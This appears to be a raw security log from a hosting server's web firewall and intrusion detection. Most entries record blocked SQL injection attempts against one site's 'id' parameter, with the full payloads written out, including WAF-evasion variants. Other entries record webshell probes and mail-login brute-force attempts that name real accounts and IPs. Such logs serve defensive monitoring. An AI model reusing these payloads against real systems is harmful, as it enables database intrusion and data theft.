# incident

plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1) AND AND/**/8790=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(8790=8790)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:11:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49558: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1) and and/**/8790=cast(('~'||(select/**/(case/**/when/**/(8790=8790)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:11:19 dovecot_login authenticator failed for H=(MzoaEfr) [158.94.208.175]:65204: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/(select/**/9420/**/from(select/**/count(*),concat('~',(select/**/(elt(9420=9420,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.111.210
country_id: 1835841
description:
2026-02-02 05:11:48 dovecot_login authenticator failed for H=([14.37.111.210]) [14.37.111.210]:50249: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\"AND/**/(SELECT/**/10947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(10947=10947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"kTC04fIJ\"=\"kTC04fIJ\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:12:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:12:18 dovecot_login authenticator failed for H=(GUsc09caWu) [165.154.217.204]:59445: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:12:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51458: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2026-02-02 05:12:03 dovecot_login authenticator failed for H=([182.42.113.10]) [182.42.113.10]:37824: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.10
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/mockery/mockery/docs/reference/mockery/gotchas.rst HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\"and/**/(select/**/10947/**/from(select/**/count(*),concat('~',(select/**/(elt(10947=10947,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and \"ktc04fij\"=\"ktc04fij\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/1274=cast(('~'||(select/**/(case/**/when/**/(1274=1274)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer) and (\"s4x2rvkt\"=\"s4x2rvkt\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/6366=convert(int,(select/**/'~'+(select/**/(case/**/when/**/(6366=6366)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND AND\x055727=CONVERT(INT,(SELECT\x0e'~' (SELECT\x0c(CASE\tWHEN\x01(5727=5727)\rTHEN\v'1'\x0fELSE\x01'0'\x0cEND)) '~'))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/1274=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1274=1274)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER) AND (\"s4X2rVKT\"=\"s4X2rVKT\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/demos/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\"AND/**/(SELECT/**/10947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(10947=10947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"kTC04fIJ\"=\"kTC04fIJ\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:12:24 dovecot_login authenticator failed for H=(Tc7ZbKUFQ) [158.94.208.175]:61017: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.185.44.77
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/index.php?Itemid=239&catid=915:smy-jan-apr-2016&id=171:can-automation-replace-manned-inspection-ofnoffshore-structuresn&option=com_content&view=article HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:13:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61286: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:13:37 dovecot_login authenticator failed for H=(pjcF8Dbk) [178.16.52.139]:55381: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/8774=CTXSYS.DRITHSX.SN(5615,CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(8774=8774)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) AND (\"g8HGnTUK\"=\"g8HGnTUK\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/(select/**/8115/**/from(select/**/count(*),concat('~',(select/**/(elt(8115=8115,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1' AND AND/**/(SELECT/**/8115/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8115=8115,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1%'/*!50000AND*/(/*!50000SELECT*/2014/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(2014=2014,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND 'MUJA2UoS%'='MUJA2UoS||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1%'/*!50000AND*/(/*!50000SELECT*/2014/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(2014=2014,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND 'MUJA2UoS%'='MUJA2UoS||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/(select/**/2034/**/from(select/**/count(*),concat('~',(select/**/(elt(2034=2034,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and 'al2ttsez' like 'al2ttsez||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:13:33 dovecot_login authenticator failed for H=(kFr34XldWY) [165.154.217.204]:51055: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:13:59 dovecot_login authenticator failed for H=(cRK4lgiQPA) [178.16.54.138]:55449: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND AND/**/(SELECT/**/8115/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8115=8115,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:13:14 dovecot_login authenticator failed for H=(eGrvprnhLJ) [165.154.217.204]:65450: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:13:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/(select/**/2034/**/from(select/**/count(*),concat('~',(select/**/(elt(2034=2034,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and 'al2ttsez' like 'al2ttsez||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/9854=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(9854=9854)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER) AND ('rvW1ELLB' LIKE 'rvW1ELLB||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/3016=cast((%27~%27||(select/**/(case/**/when/**/(3016=3016)/**/then/**/1/**/else/**/0/**/end))||%27~%27)/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/9895=ctxsys.drithsx.sn(9860,chr(126)||%27~%27||(select/**/(case/**/when/**/(9895=9895)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)) and (\"kprrco1d\"=\"kprrco1d\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1%'/*!50000AND*/(/*!50000SELECT*/2014/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(2014=2014,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND 'MUJA2UoS%'='MUJA2UoS||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/1428=concat('~',(select/**/(case/**/when/**/(1428=1428)/**/then/**/'1'/**/else/**/'0'/**/end)),'~')-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/8333=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(8333=8333)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:14:29 dovecot_login authenticator failed for H=(gjEOKVulgA) [178.16.52.139]:59528: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/8333=cast(('~'||(select/**/(case/**/when/**/(8333=8333)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:14:11 dovecot_login authenticator failed for H=(e3BnGe) [165.154.217.204]:54688: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:14:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\" and and/**/(select/**/9456/**/from(select/**/count(*),concat('~',(select/**/(elt(9456=9456,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\" AND AND/**/(SELECT/**/9456/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9456=9456,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:14:03 dovecot_login authenticator failed for H=(JhMuV5) [158.94.208.175]:55982: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:14:04 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40190: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/6028=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(6028=6028)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~') AND ('mOWdz6Nj' LIKE 'mOWdz6Nj||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:14:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58404: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\" AND AND/**/(SELECT/**/9456/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9456=9456,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:15:00 dovecot_login authenticator failed for H=(qOpsD6Prc) [178.16.54.138]:53669: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 66.132.153.131
country_id: 6252001
description:
Feb  2 05:15:20 sv3 pure-ftpd[1427548]: (?@66.132.153.131) [INFO] New connection from 66.132.153.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:15:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52157: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/5781=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(5781=5781)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~') AND (\"Fa8WXNnl\" LIKE \"Fa8WXNnl\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:15:20 dovecot_login authenticator failed for H=(ATdQF6SP) [178.16.52.139]:59751: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 11307
name: Multiple connection attempts from same source
abuser: 66.132.153.131
country_id: 6252001
description:
Feb  2 05:15:28 sv3 pure-ftpd[1427587]: (?@66.132.153.131) [INFO] New connection from 66.132.153.131


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/UPDATEXML(8455,CONCAT('.','~',(SELECT/**/(ELT(8455=8455,1))),'~'),10538)# KEYr4u7j HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/5781=concat('~',(select/**/(case/**/when/**/(5781=5781)/**/then/**/'1'/**/else/**/'0'/**/end)),'~') and (\"fa8wxnnl\" like \"fa8wxnnl\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:15:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:15:09 dovecot_login authenticator failed for H=(LB9Ftoe) [165.154.217.204]:53158: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:15:46 dovecot_login authenticator failed for H=(ZIgvlz) [165.154.217.204]:58110: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:15:08 dovecot_login authenticator failed for H=(UkIDDY6EJ) [158.94.208.175]:64710: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.94.28.164
country_id: 6252001
domain: krisfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/krisfood.sql||User:krisfood||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:16:04 dovecot_login authenticator failed for H=(M00w85) [165.154.217.204]:59997: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(9147=9147,1))),%27~%27),9147)# 0ryzbJP2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:16:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47818: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:16:15 dovecot_login authenticator failed for H=(0lIjnADtuJ) [178.16.52.139]:51358: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:16:29 dovecot_login authenticator failed for H=(qIaiNd2w) [158.94.208.175]:61729: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(8141=8141,1))),'~'),8141)# 0S9OGMem HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(8141=8141,1))),'~'),8141)# 0S9OGMem||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1 and and/**/row(7618,10013)>(select/**/count(*),concat('~',(select/**/(elt(7618=7618,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/5860/**/union/**/select/**/8229/**/union/**/select/**/8597/**/union/**/select/**/10589)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.145.10.140
country_id: 6252001
description:
2026-02-02 05:16:41 dovecot_plain authenticator failed for H=c-76-145-10-140.hsd1.ga.comcast.net (pyralocall) [76.145.10.140]:45570: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:16:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/gtid_subset(concat('~',(select/**/(elt(1008=1008,1))),'~'),1008)# byklkqmc||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
